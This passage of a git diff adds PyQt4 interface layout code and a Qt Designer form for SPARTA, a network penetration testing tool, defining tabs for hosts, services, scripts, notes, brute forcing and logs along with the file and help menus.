self.vlayout_1.addLayout(self.ClosedPortsLayout) + self.vlayout_1.addLayout(self.FilteredPortsLayout) + + self.vlayout_2.addWidget(self.AddressLabel) + self.vlayout_2.addLayout(self.IP4Layout) + self.vlayout_2.addLayout(self.IP6Layout) + self.vlayout_2.addLayout(self.MacLayout) + self.vlayout_2.addLayout(self.dummyLayout) + + self.hlayout_1.addLayout(self.vlayout_1) + self.hlayout_1.addSpacing(20) + self.hlayout_1.addLayout(self.vlayout_2) + + self.vlayout_3.addWidget(self.OSLabel) + self.vlayout_3.addLayout(self.OSNameLayout) + self.vlayout_3.addLayout(self.OSAccuracyLayout) + self.vlayout_3.addStretch() + + self.vlayout_4 = QtGui.QVBoxLayout() + self.vlayout_4.addLayout(self.hlayout_1) + self.vlayout_4.addSpacing(10) + self.vlayout_4.addLayout(self.vlayout_3) + + self.hlayout_4 = QtGui.QHBoxLayout(self.informationTab) + self.hlayout_4.addLayout(self.vlayout_4) + self.hlayout_4.insertStretch(-1,1) + self.hlayout_4.addStretch() + + def updateFields(self, status='', openPorts='', closedPorts='', filteredPorts='', ipv4='', ipv6='', macaddr='', osMatch='', osAccuracy=''): + self.HostStateText.setText(str(status)) + self.OpenPortsText.setText(str(openPorts)) + self.ClosedPortsText.setText(str(closedPorts)) + self.FilteredPortsText.setText(str(filteredPorts)) + self.IP4Text.setText(str(ipv4)) + self.IP6Text.setText(str(ipv6)) + self.MacText.setText(str(macaddr)) + self.OSNameText.setText(str(osMatch)) + self.OSAccuracyText.setText(str(osAccuracy)) diff --git a/ui/gui.py b/ui/gui.py new file mode 100644 index 00000000..39f2a462 --- /dev/null +++ b/ui/gui.py @@ -0,0 +1,364 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +#from PyQt4 import QtCore, QtGui +from ui.dialogs import * # for the screenshots (image viewer) + +try: + _fromUtf8 = QtCore.QString.fromUtf8 +except AttributeError: + _fromUtf8 = lambda s: s + +class Ui_MainWindow(object): + def setupUi(self, MainWindow): + MainWindow.setObjectName(_fromUtf8("MainWindow")) + MainWindow.resize(1010, 754) + + self.centralwidget = QtGui.QWidget(MainWindow) + self.centralwidget.setObjectName(_fromUtf8("centralwidget")) # do not change this name + self.gridLayout = QtGui.QGridLayout(self.centralwidget) + self.gridLayout.setObjectName(_fromUtf8("gridLayout")) + self.splitter_2 = QtGui.QSplitter(self.centralwidget) + self.splitter_2.setOrientation(QtCore.Qt.Vertical) + self.splitter_2.setObjectName(_fromUtf8("splitter_2")) + + self.MainTabWidget = QtGui.QTabWidget(self.splitter_2) + self.MainTabWidget.setObjectName(_fromUtf8("MainTabWidget")) + self.ScanTab = QtGui.QWidget() + self.ScanTab.setObjectName(_fromUtf8("ScanTab")) + self.gridLayout_2 = QtGui.QGridLayout(self.ScanTab) + self.gridLayout_2.setObjectName(_fromUtf8("gridLayout_2")) + self.splitter = QtGui.QSplitter(self.ScanTab) + self.splitter.setOrientation(QtCore.Qt.Horizontal) + self.splitter.setObjectName(_fromUtf8("splitter")) + + # size policies + self.sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) + self.sizePolicy.setHorizontalStretch(0) # this specifies that the widget will keep its width when the window is resized + self.sizePolicy.setVerticalStretch(0) + + self.sizePolicy2 = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) + self.sizePolicy2.setHorizontalStretch(1) # this specifies that the widget will expand its width when the window is resized + self.sizePolicy2.setVerticalStretch(0) + + self.setupLeftPanel() + self.setupRightPanel() + self.setupMainTabs() + self.setupBottomPanel() + + self.gridLayout.addWidget(self.splitter_2, 0, 0, 1, 1) + MainWindow.setCentralWidget(self.centralwidget) + + self.setupMenuBar(MainWindow) + self.retranslateUi(MainWindow) + self.setDefaultIndexes() + QtCore.QMetaObject.connectSlotsByName(MainWindow) + + def setupLeftPanel(self): + self.HostsTabWidget = QtGui.QTabWidget(self.splitter) + self.sizePolicy.setHeightForWidth(self.HostsTabWidget.sizePolicy().hasHeightForWidth()) + self.HostsTabWidget.setSizePolicy(self.sizePolicy) + self.HostsTabWidget.setObjectName(_fromUtf8("HostsTabWidget")) + + self.HostsTab = QtGui.QWidget() + self.HostsTab.setObjectName(_fromUtf8("HostsTab")) + self.keywordTextInput = QtGui.QLineEdit() + self.FilterApplyButton = QtGui.QToolButton() + self.searchIcon = QtGui.QIcon() + self.searchIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/search.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.FilterApplyButton.setIconSize(QtCore.QSize(29,21)) + self.FilterApplyButton.setIcon(self.searchIcon) + self.FilterAdvancedButton = QtGui.QToolButton() + self.advancedIcon = QtGui.QIcon() + self.advancedIcon.addPixmap(QtGui.QPixmap(_fromUtf8("./images/advanced.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off) + self.FilterAdvancedButton.setIconSize(QtCore.QSize(19,19)) + self.FilterAdvancedButton.setIcon(self.advancedIcon) + self.vlayout = QtGui.QVBoxLayout(self.HostsTab) + self.vlayout.setObjectName(_fromUtf8("vlayout")) + self.HostsTableView = QtGui.QTableView(self.HostsTab) + self.HostsTableView.setObjectName(_fromUtf8("HostsTableView")) + self.vlayout.addWidget(self.HostsTableView) + + self.addHostsOverlay = QtGui.QTextEdit(self.HostsTab) # the overlay widget that appears over the hosttableview + self.addHostsOverlay.setObjectName(_fromUtf8("addHostsOverlay")) + self.addHostsOverlay.setText('Click here to add host(s) to scope') + self.addHostsOverlay.setReadOnly(True) + self.addHostsOverlay.setContextMenuPolicy(QtCore.Qt.NoContextMenu) + + ### + self.addHostsOverlay.setFont(QtGui.QFont('', 12)) + self.addHostsOverlay.setAlignment(Qt.AlignHCenter|Qt.AlignVCenter) + ### + + self.vlayout.addWidget(self.addHostsOverlay) + self.hlayout = QtGui.QHBoxLayout() + self.hlayout.addWidget(self.keywordTextInput) + self.hlayout.addWidget(self.FilterApplyButton) + self.hlayout.addWidget(self.FilterAdvancedButton) + self.vlayout.addLayout(self.hlayout) + self.HostsTabWidget.addTab(self.HostsTab, _fromUtf8("")) + + self.ServicesLeftTab = QtGui.QWidget() + self.ServicesLeftTab.setObjectName(_fromUtf8("ServicesLeftTab")) + self.horizontalLayout_2 = QtGui.QHBoxLayout(self.ServicesLeftTab) + self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2")) + self.ServiceNamesTableView = QtGui.QTableView(self.ServicesLeftTab) + self.ServiceNamesTableView.setObjectName(_fromUtf8("ServiceNamesTableView")) + self.horizontalLayout_2.addWidget(self.ServiceNamesTableView) + self.HostsTabWidget.addTab(self.ServicesLeftTab, _fromUtf8("")) + + self.ToolsTab = QtGui.QWidget() + self.ToolsTab.setObjectName(_fromUtf8("ToolsTab")) + self.horizontalLayout_3 = QtGui.QHBoxLayout(self.ToolsTab) + self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3")) + self.ToolsTableView = QtGui.QTableView(self.ToolsTab) + self.ToolsTableView.setObjectName(_fromUtf8("ToolsTableView")) + self.horizontalLayout_3.addWidget(self.ToolsTableView) + self.HostsTabWidget.addTab(self.ToolsTab, _fromUtf8("")) + + def setupRightPanel(self): + self.ServicesTabWidget = QtGui.QTabWidget() + self.ServicesTabWidget.setEnabled(True) + self.sizePolicy2.setHeightForWidth(self.ServicesTabWidget.sizePolicy().hasHeightForWidth()) + self.ServicesTabWidget.setSizePolicy(self.sizePolicy2) + self.ServicesTabWidget.setObjectName(_fromUtf8("ServicesTabWidget")) + self.splitter.addWidget(self.ServicesTabWidget) + + ### + + self.splitter_3 = QtGui.QSplitter() + self.splitter_3.setOrientation(QtCore.Qt.Horizontal) + self.splitter_3.setObjectName(_fromUtf8("splitter_3")) + self.splitter_3.setSizePolicy(self.sizePolicy2) # this makes the tools tab stay the same width when resizing the window + + ### + + self.ToolHostsWidget = QtGui.QWidget() + self.ToolHostsWidget.setObjectName(_fromUtf8("ToolHostsTab")) + self.ToolHostsLayout = QtGui.QVBoxLayout(self.ToolHostsWidget) + self.ToolHostsLayout.setObjectName(_fromUtf8("verticalLayout")) + self.ToolHostsTableView = QtGui.QTableView(self.ToolHostsWidget) + self.ToolHostsTableView.setObjectName(_fromUtf8("ServicesTableView")) + self.ToolHostsLayout.addWidget(self.ToolHostsTableView) + self.splitter_3.addWidget(self.ToolHostsWidget) + + self.DisplayWidget = QtGui.QWidget() + self.DisplayWidget.setObjectName('ToolOutput') + self.DisplayWidget.setSizePolicy(self.sizePolicy2) + #self.toolOutputTextView = QtGui.QTextEdit(self.DisplayWidget) + self.toolOutputTextView = QtGui.QPlainTextEdit(self.DisplayWidget) + self.toolOutputTextView.setReadOnly(True) + self.DisplayWidgetLayout = QtGui.QHBoxLayout(self.DisplayWidget) + self.DisplayWidgetLayout.addWidget(self.toolOutputTextView) + self.splitter_3.addWidget(self.DisplayWidget) + + self.ScreenshotWidget = ImageViewer() + self.ScreenshotWidget.setObjectName('Screenshot') + self.ScreenshotWidget.scrollArea.setSizePolicy(self.sizePolicy2) + self.ScreenshotWidget.scrollArea.setContextMenuPolicy(QtCore.Qt.CustomContextMenu) + self.splitter_3.addWidget(self.ScreenshotWidget.scrollArea) + + self.splitter.addWidget(self.splitter_3) + + ### + + self.ServicesRightTab = QtGui.QWidget() + self.ServicesRightTab.setObjectName(_fromUtf8("ServicesRightTab")) + self.verticalLayout = QtGui.QVBoxLayout(self.ServicesRightTab) + self.verticalLayout.setObjectName(_fromUtf8("verticalLayout")) + self.ServicesTableView = QtGui.QTableView(self.ServicesRightTab) + self.ServicesTableView.setObjectName(_fromUtf8("ServicesTableView")) + self.verticalLayout.addWidget(self.ServicesTableView) + self.ServicesTabWidget.addTab(self.ServicesRightTab, _fromUtf8("")) + + self.ScriptsTab = QtGui.QWidget() + self.ScriptsTab.setObjectName(_fromUtf8("ScriptsTab")) + self.horizontalLayout_6 = QtGui.QHBoxLayout(self.ScriptsTab) + self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6")) + + self.splitter_4 = QtGui.QSplitter(self.ScriptsTab) + self.splitter_4.setOrientation(QtCore.Qt.Horizontal) + self.splitter_4.setObjectName(_fromUtf8("splitter_4")) + + self.ScriptsTableView = QtGui.QTableView() + self.ScriptsTableView.setObjectName(_fromUtf8("ScriptsTableView")) + self.splitter_4.addWidget(self.ScriptsTableView) + + self.ScriptsOutputTextEdit = QtGui.QPlainTextEdit() + self.ScriptsOutputTextEdit.setObjectName(_fromUtf8("ScriptsOutputTextEdit")) + self.ScriptsOutputTextEdit.setReadOnly(True) + self.splitter_4.addWidget(self.ScriptsOutputTextEdit) + self.horizontalLayout_6.addWidget(self.splitter_4) + self.ServicesTabWidget.addTab(self.ScriptsTab, _fromUtf8("")) + + self.InformationTab = QtGui.QWidget() + self.InformationTab.setObjectName(_fromUtf8("InformationTab")) + self.ServicesTabWidget.addTab(self.InformationTab, _fromUtf8("")) + + self.NotesTab = QtGui.QWidget() + self.NotesTab.setObjectName(_fromUtf8("NotesTab")) + self.horizontalLayout_4 = QtGui.QHBoxLayout(self.NotesTab) + self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4")) + #self.NotesTextEdit = QtGui.QTextEdit(self.NotesTab) + self.NotesTextEdit = QtGui.QPlainTextEdit(self.NotesTab) + self.NotesTextEdit.setObjectName(_fromUtf8("NotesTextEdit")) + self.horizontalLayout_4.addWidget(self.NotesTextEdit) + self.ServicesTabWidget.addTab(self.NotesTab, _fromUtf8("")) + + def setupMainTabs(self): + self.gridLayout_2.addWidget(self.splitter, 0, 0, 1, 1) + self.gridLayout_3 = QtGui.QGridLayout() + self.gridLayout_3.setObjectName(_fromUtf8("gridLayout_3")) + self.gridLayout_2.addLayout(self.gridLayout_3, 0, 0, 1, 1) + self.MainTabWidget.addTab(self.ScanTab, _fromUtf8("")) + + self.BruteTab = QtGui.QWidget() + self.BruteTab.setObjectName(_fromUtf8("BruteTab")) + self.horizontalLayout_7 = QtGui.QHBoxLayout(self.BruteTab) + self.horizontalLayout_7.setObjectName(_fromUtf8("horizontalLayout_7")) + self.BruteTabWidget = QtGui.QTabWidget(self.BruteTab) + self.BruteTabWidget.setObjectName(_fromUtf8("BruteTabWidget")) + self.horizontalLayout_7.addWidget(self.BruteTabWidget) + self.MainTabWidget.addTab(self.BruteTab, _fromUtf8("")) + + def setupBottomPanel(self): + self.BottomTabWidget = QtGui.QTabWidget(self.splitter_2) + self.BottomTabWidget.setSizeIncrement(QtCore.QSize(0, 0)) + self.BottomTabWidget.setBaseSize(QtCore.QSize(0, 0)) + self.BottomTabWidget.setObjectName(_fromUtf8("BottomTabWidget")) + + self.LogTab = QtGui.QWidget() + self.LogTab.setObjectName(_fromUtf8("LogTab")) + self.horizontalLayout_5 = QtGui.QHBoxLayout(self.LogTab) + self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5")) + self.ProcessesTableView = QtGui.QTableView(self.LogTab) + self.ProcessesTableView.setObjectName(_fromUtf8("ProcessesTableView")) + self.horizontalLayout_5.addWidget(self.ProcessesTableView) + self.BottomTabWidget.addTab(self.LogTab, _fromUtf8("")) +# self.TerminalTab = QtGui.QWidget() +# self.TerminalTab.setObjectName(_fromUtf8("TerminalTab")) +# self.BottomTabWidget.addTab(self.TerminalTab, _fromUtf8("")) +# self.PythonTab = QtGui.QWidget() +# self.PythonTab.setObjectName(_fromUtf8("PythonTab")) +# self.BottomTabWidget.addTab(self.PythonTab, _fromUtf8("")) + + def setupMenuBar(self, MainWindow): + self.menubar = QtGui.QMenuBar(MainWindow) + self.menubar.setGeometry(QtCore.QRect(0, 0, 1010, 25)) + self.menubar.setObjectName(_fromUtf8("menubar")) + self.menuFile = QtGui.QMenu(self.menubar) + self.menuFile.setObjectName(_fromUtf8("menuFile")) +# self.menuEdit = QtGui.QMenu(self.menubar) +# self.menuEdit.setObjectName(_fromUtf8("menuEdit")) + self.menuSettings = QtGui.QMenu(self.menubar) + self.menuSettings.setObjectName(_fromUtf8("menuSettings")) + self.menuHelp = QtGui.QMenu(self.menubar) + self.menuHelp.setObjectName(_fromUtf8("menuHelp")) + MainWindow.setMenuBar(self.menubar) + self.statusbar = QtGui.QStatusBar(MainWindow) + self.statusbar.setObjectName(_fromUtf8("statusbar")) + MainWindow.setStatusBar(self.statusbar) + self.actionExit = QtGui.QAction(MainWindow) + self.actionExit.setObjectName(_fromUtf8("actionExit")) + self.actionOpen = QtGui.QAction(MainWindow) + self.actionOpen.setObjectName(_fromUtf8("actionOpen")) + self.actionSave = QtGui.QAction(MainWindow) + self.actionSave.setObjectName(_fromUtf8("actionSave")) + self.actionImportNmap = QtGui.QAction(MainWindow) + self.actionImportNmap.setObjectName(_fromUtf8("actionImportNmap")) + self.actionSaveAs = QtGui.QAction(MainWindow) + self.actionSaveAs.setObjectName(_fromUtf8("actionSaveAs")) + self.actionNew = QtGui.QAction(MainWindow) + self.actionNew.setObjectName(_fromUtf8("actionNew")) + self.actionAddHosts = QtGui.QAction(MainWindow) + self.actionAddHosts.setObjectName(_fromUtf8("actionAddHosts")) + self.menuFile.addAction(self.actionNew) + self.menuFile.addAction(self.actionOpen) + self.menuFile.addAction(self.actionSave) + self.menuFile.addAction(self.actionSaveAs) + self.menuFile.addSeparator() + self.menuFile.addAction(self.actionAddHosts) + self.menuFile.addAction(self.actionImportNmap) + self.menuFile.addSeparator() + self.menuFile.addAction(self.actionExit) + self.menubar.addAction(self.menuFile.menuAction()) +# self.menubar.addAction(self.menuEdit.menuAction()) +# self.menubar.addAction(self.menuSettings.menuAction()) + self.menubar.addAction(self.menuSettings.menuAction()) + self.actionSettings = QtGui.QAction(MainWindow) + self.actionSettings.setObjectName(_fromUtf8("getSettingsMenu")) + self.menuSettings.addAction(self.actionSettings) + + self.actionHelp = QtGui.QAction(MainWindow) + self.actionHelp.setObjectName(_fromUtf8("getHelp")) + self.menuHelp.addAction(self.actionHelp) + self.menubar.addAction(self.menuHelp.menuAction()) + + def setDefaultIndexes(self): + self.MainTabWidget.setCurrentIndex(1) + self.HostsTabWidget.setCurrentIndex(1) + self.ServicesTabWidget.setCurrentIndex(1) + self.BruteTabWidget.setCurrentIndex(1) + self.BottomTabWidget.setCurrentIndex(0) + + def retranslateUi(self, MainWindow): + MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "Sparta v0.0001", None, QtGui.QApplication.UnicodeUTF8)) + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.HostsTab), QtGui.QApplication.translate("MainWindow", "Hosts", None, QtGui.QApplication.UnicodeUTF8)) + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ServicesLeftTab), QtGui.QApplication.translate("MainWindow", "Services", None, QtGui.QApplication.UnicodeUTF8)) + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ToolsTab), QtGui.QApplication.translate("MainWindow", "Tools", None, QtGui.QApplication.UnicodeUTF8)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ServicesRightTab), QtGui.QApplication.translate("MainWindow", "Services", None, QtGui.QApplication.UnicodeUTF8)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScriptsTab), QtGui.QApplication.translate("MainWindow", "Scripts", None, QtGui.QApplication.UnicodeUTF8)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.InformationTab), QtGui.QApplication.translate("MainWindow", "Information", None, QtGui.QApplication.UnicodeUTF8)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.NotesTab), QtGui.QApplication.translate("MainWindow", "Notes", None, QtGui.QApplication.UnicodeUTF8)) +# self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScreenshotsTab), QtGui.QApplication.translate("MainWindow", "Screenshots", None, QtGui.QApplication.UnicodeUTF8)) + self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.ScanTab), QtGui.QApplication.translate("MainWindow", "Scan", None, QtGui.QApplication.UnicodeUTF8)) + #self.BruteTabWidget.setTabText(self.BruteTabWidget.indexOf(self.tab), QtGui.QApplication.translate("MainWindow", "Tab 1", None, QtGui.QApplication.UnicodeUTF8)) + #self.BruteTabWidget.setTabText(self.BruteTabWidget.indexOf(self.tab_2), QtGui.QApplication.translate("MainWindow", "Tab 2", None, QtGui.QApplication.UnicodeUTF8)) + self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.BruteTab), QtGui.QApplication.translate("MainWindow", "Brute", None, QtGui.QApplication.UnicodeUTF8)) + self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), QtGui.QApplication.translate("MainWindow", "Log", None, QtGui.QApplication.UnicodeUTF8)) +# self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.TerminalTab), QtGui.QApplication.translate("MainWindow", "Terminal", None, QtGui.QApplication.UnicodeUTF8)) +# self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtGui.QApplication.translate("MainWindow", "Python", None, QtGui.QApplication.UnicodeUTF8)) + self.menuFile.setTitle(QtGui.QApplication.translate("MainWindow", "File", None, QtGui.QApplication.UnicodeUTF8)) +# self.menuEdit.setTitle(QtGui.QApplication.translate("MainWindow", "Edit", None, QtGui.QApplication.UnicodeUTF8)) +# self.menuSettings.setTitle(QtGui.QApplication.translate("MainWindow", "Settings", None, QtGui.QApplication.UnicodeUTF8)) + self.menuHelp.setTitle(QtGui.QApplication.translate("MainWindow", "Help", None, QtGui.QApplication.UnicodeUTF8)) + self.actionExit.setText(QtGui.QApplication.translate("MainWindow", "Exit", None, QtGui.QApplication.UnicodeUTF8)) + self.actionExit.setToolTip(QtGui.QApplication.translate("MainWindow", "Exit the application", None, QtGui.QApplication.UnicodeUTF8)) + self.actionExit.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+Q", None, QtGui.QApplication.UnicodeUTF8)) + self.actionOpen.setText(QtGui.QApplication.translate("MainWindow", "Open", None, QtGui.QApplication.UnicodeUTF8)) + self.actionOpen.setToolTip(QtGui.QApplication.translate("MainWindow", "Open an existing project file", None, QtGui.QApplication.UnicodeUTF8)) + self.actionOpen.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+O", None, QtGui.QApplication.UnicodeUTF8)) + self.actionSave.setText(QtGui.QApplication.translate("MainWindow", "Save", None, QtGui.QApplication.UnicodeUTF8)) + self.actionSave.setToolTip(QtGui.QApplication.translate("MainWindow", "Save the current project", None, QtGui.QApplication.UnicodeUTF8)) + self.actionSave.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+S", None, QtGui.QApplication.UnicodeUTF8)) + self.actionImportNmap.setText(QtGui.QApplication.translate("MainWindow", "Import nmap", None, QtGui.QApplication.UnicodeUTF8)) + self.actionImportNmap.setToolTip(QtGui.QApplication.translate("MainWindow", "Import an nmap xml file", None, QtGui.QApplication.UnicodeUTF8)) + self.actionImportNmap.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+I", None, QtGui.QApplication.UnicodeUTF8)) + self.actionSaveAs.setText(QtGui.QApplication.translate("MainWindow", "Save As", None, QtGui.QApplication.UnicodeUTF8)) + self.actionNew.setText(QtGui.QApplication.translate("MainWindow", "New", None, QtGui.QApplication.UnicodeUTF8)) + self.actionNew.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+N", None, QtGui.QApplication.UnicodeUTF8)) + self.actionAddHosts.setText(QtGui.QApplication.translate("MainWindow", "Add host(s) to scope", None, QtGui.QApplication.UnicodeUTF8)) + self.actionAddHosts.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+H", None, QtGui.QApplication.UnicodeUTF8)) + self.actionSettings.setText(QtGui.QApplication.translate("MainWindow", "Preferences", None, QtGui.QApplication.UnicodeUTF8)) + self.actionHelp.setText(QtGui.QApplication.translate("MainWindow", "Help", None, QtGui.QApplication.UnicodeUTF8)) + self.actionHelp.setShortcut(QtGui.QApplication.translate("MainWindow", "F1", None, QtGui.QApplication.UnicodeUTF8)) + +if __name__ == "__main__": + import sys + app = QtGui.QApplication(sys.argv) + MainWindow = QtGui.QMainWindow() + ui = Ui_MainWindow() + ui.setupUi(MainWindow) + MainWindow.show() + sys.exit(app.exec_()) + diff --git a/ui/gui.ui b/ui/gui.ui new file mode 100644 index 00000000..d2e7aacd --- /dev/null +++ b/ui/gui.ui @@ -0,0 +1,304 @@ + + + MainWindow + + + + 0 + 0 + 1010 + 754 + + + + Sparta v0.0001 + + + + + + + Qt::Vertical + + + + 1 + + + + Scan + + + + + + Qt::Horizontal + + + + + 0 + 0 + + + + 1 + + + + Hosts + + + + + + + + + + Services + + + + + + + + + + + true + + + + 1 + 0 + + + + 1 + + + + Services + + + + + + + + + + Page + + + + + + + + + + Information + + + + + + + + + + Notes + + + + + + + + + + Page + + + + + + + + + + Brute + + + + + + 1 + + + + Tab 1 + + + + + + Tab 2 + + + + + + + + + + + 0 + 0 + + + + + 0 + 0 + + + + 0 + + + + Log + + + + + + + + + + Terminal + + + + + Python + + + + + + + + + + + 0 + 0 + 1010 + 25 + + + + + File + + + + + + + + + + + + + + Edit + + + + + Settings + + + + + Help + + + + + + + + + + + Exit + + + Exit the application + + + Ctrl+Q + + + + + Open + + + Open an existing project file + + + Ctrl+O + + + + + Save + + + Save the current project + + + Ctrl+S + + + + + Import nmap + + + Import an nmap xml file + + + + + Save As + + + + + New + + + Ctrl+N + + + + + Add host(s) to scope + + + + + + diff --git a/ui/nosplitters/gui.py b/ui/nosplitters/gui.py new file mode 100644 index 00000000..ae05c440 --- /dev/null +++ b/ui/nosplitters/gui.py @@ -0,0 +1,144 @@ +# -*- coding: utf-8 -*- + +# Form implementation generated from reading ui file 'gui.ui' +# +# Created: Wed Jul 17 17:23:20 2013 +# by: PyQt4 UI code generator 4.9.1 +# +# WARNING! All changes made in this file will be lost! + +from PyQt4 import QtCore, QtGui + +try: + _fromUtf8 = QtCore.QString.fromUtf8 +except AttributeError: + _fromUtf8 = lambda s: s + +class Ui_MainWindow(object): + def setupUi(self, MainWindow): + MainWindow.setObjectName(_fromUtf8("MainWindow")) + MainWindow.resize(1010, 754) + self.centralwidget = QtGui.QWidget(MainWindow) + self.centralwidget.setObjectName(_fromUtf8("centralwidget")) + self.tabWidget = QtGui.QTabWidget(self.centralwidget) + self.tabWidget.setGeometry(QtCore.QRect(10, 0, 971, 531)) + self.tabWidget.setObjectName(_fromUtf8("tabWidget")) + self.tab = QtGui.QWidget() + self.tab.setObjectName(_fromUtf8("tab")) + self.tabWidget_3 = QtGui.QTabWidget(self.tab) + self.tabWidget_3.setGeometry(QtCore.QRect(300, 0, 661, 491)) + self.tabWidget_3.setObjectName(_fromUtf8("tabWidget_3")) + self.tab_5 = QtGui.QWidget() + self.tab_5.setObjectName(_fromUtf8("tab_5")) + self.ServicesTableView = QtGui.QTableView(self.tab_5) + self.ServicesTableView.setGeometry(QtCore.QRect(0, 0, 661, 461)) + self.ServicesTableView.setObjectName(_fromUtf8("ServicesTableView")) + self.tabWidget_3.addTab(self.tab_5, _fromUtf8("")) + self.tab_6 = QtGui.QWidget() + self.tab_6.setObjectName(_fromUtf8("tab_6")) + self.tabWidget_3.addTab(self.tab_6, _fromUtf8("")) + self.tab_7 = QtGui.QWidget() + self.tab_7.setObjectName(_fromUtf8("tab_7")) + self.tabWidget_3.addTab(self.tab_7, _fromUtf8("")) + self.tabWidget_2 = QtGui.QTabWidget(self.tab) + self.tabWidget_2.setGeometry(QtCore.QRect(0, 0, 301, 491)) + self.tabWidget_2.setObjectName(_fromUtf8("tabWidget_2")) + self.tab_3 = QtGui.QWidget() + self.tab_3.setObjectName(_fromUtf8("tab_3")) + self.HostsTableView = QtGui.QTableView(self.tab_3) + self.HostsTableView.setGeometry(QtCore.QRect(0, 0, 301, 461)) + self.HostsTableView.setObjectName(_fromUtf8("HostsTableView")) + self.tabWidget_2.addTab(self.tab_3, _fromUtf8("")) + self.tab_4 = QtGui.QWidget() + self.tab_4.setObjectName(_fromUtf8("tab_4")) + self.tabWidget_2.addTab(self.tab_4, _fromUtf8("")) + self.tabWidget.addTab(self.tab, _fromUtf8("")) + self.tab_2 = QtGui.QWidget() + self.tab_2.setObjectName(_fromUtf8("tab_2")) + self.tabWidget.addTab(self.tab_2, _fromUtf8("")) + self.tabWidget_4 = QtGui.QTabWidget(self.centralwidget) + self.tabWidget_4.setGeometry(QtCore.QRect(10, 560, 791, 91)) + self.tabWidget_4.setObjectName(_fromUtf8("tabWidget_4")) + self.tab_8 = QtGui.QWidget() + self.tab_8.setObjectName(_fromUtf8("tab_8")) + self.tabWidget_4.addTab(self.tab_8, _fromUtf8("")) + self.tab_9 = QtGui.QWidget() + self.tab_9.setObjectName(_fromUtf8("tab_9")) + self.tabWidget_4.addTab(self.tab_9, _fromUtf8("")) + self.tab_10 = QtGui.QWidget() + self.tab_10.setObjectName(_fromUtf8("tab_10")) + self.tabWidget_4.addTab(self.tab_10, _fromUtf8("")) + MainWindow.setCentralWidget(self.centralwidget) + self.menubar = QtGui.QMenuBar(MainWindow) + self.menubar.setGeometry(QtCore.QRect(0, 0, 1010, 25)) + self.menubar.setObjectName(_fromUtf8("menubar")) + self.menuFile = QtGui.QMenu(self.menubar) + self.menuFile.setObjectName(_fromUtf8("menuFile")) + self.menuEdit = QtGui.QMenu(self.menubar) + self.menuEdit.setObjectName(_fromUtf8("menuEdit")) + self.menuSettings = QtGui.QMenu(self.menubar) + self.menuSettings.setObjectName(_fromUtf8("menuSettings")) + self.menuHelp = QtGui.QMenu(self.menubar) + self.menuHelp.setObjectName(_fromUtf8("menuHelp")) + MainWindow.setMenuBar(self.menubar) + self.statusbar = QtGui.QStatusBar(MainWindow) + self.statusbar.setObjectName(_fromUtf8("statusbar")) + MainWindow.setStatusBar(self.statusbar) + self.actionNew_Project = QtGui.QAction(MainWindow) + self.actionNew_Project.setObjectName(_fromUtf8("actionNew_Project")) + self.actionExit = QtGui.QAction(MainWindow) + self.actionExit.setObjectName(_fromUtf8("actionExit")) + self.actionOpen = QtGui.QAction(MainWindow) + self.actionOpen.setObjectName(_fromUtf8("actionOpen")) + self.menuFile.addAction(self.actionNew_Project) + self.menuFile.addAction(self.actionOpen) + self.menuFile.addSeparator() + self.menuFile.addAction(self.actionExit) + self.menubar.addAction(self.menuFile.menuAction()) + self.menubar.addAction(self.menuEdit.menuAction()) + self.menubar.addAction(self.menuSettings.menuAction()) + self.menubar.addAction(self.menuHelp.menuAction()) + + self.retranslateUi(MainWindow) + self.tabWidget.setCurrentIndex(0) + self.tabWidget_3.setCurrentIndex(0) + self.tabWidget_2.setCurrentIndex(0) + self.tabWidget_4.setCurrentIndex(0) + QtCore.QMetaObject.connectSlotsByName(MainWindow) + + def retranslateUi(self, MainWindow): + MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "Sparta v0.0001", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_5), QtGui.QApplication.translate("MainWindow", "Services", None, QtGui.QApplication.UnicodeUTF8)) + 